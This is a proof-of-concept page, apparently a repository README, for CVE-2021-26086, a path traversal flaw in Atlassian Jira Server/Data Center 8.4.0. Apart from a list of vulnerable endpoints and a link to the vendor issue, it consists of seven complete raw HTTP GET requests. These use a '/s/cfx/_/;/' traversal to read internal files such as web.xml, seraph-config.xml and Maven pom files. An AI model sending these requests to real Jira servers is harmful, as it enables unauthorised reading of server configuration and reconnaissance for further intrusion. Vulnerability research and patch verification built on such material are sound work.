CVE-2021-26086 PoC — Atlassian Jira 路径遍历漏洞

Description

Atlassian Jira Server/Data Center 8.4.0 - Arbitrary File read (CVE-2021-26086)

介绍

# CVE-2021-26086
Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include

Vulnerable Endpoints:
```
WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
```
POC File #1 - web.xml

```
GET /s/cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #2 - seraph-config.xml

```
GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #3 - decorators.xml

```
GET /s/cfx/_/;/WEB-INF/decorators.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #4 - /jira-webapp-dist/pom.properties

```
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #5 - /jira-webapp-dist/pom.xml

```
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #6 - /atlassian-jira-webapp/pom.xml

```
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

POC File #7 - /atlassian-jira-webapp/pom.properties

```
GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

- For more information related to this vulnerability please refer to [JRASERVER-72695](https://jira.atlassian.com/browse/JRASERVER-72695)

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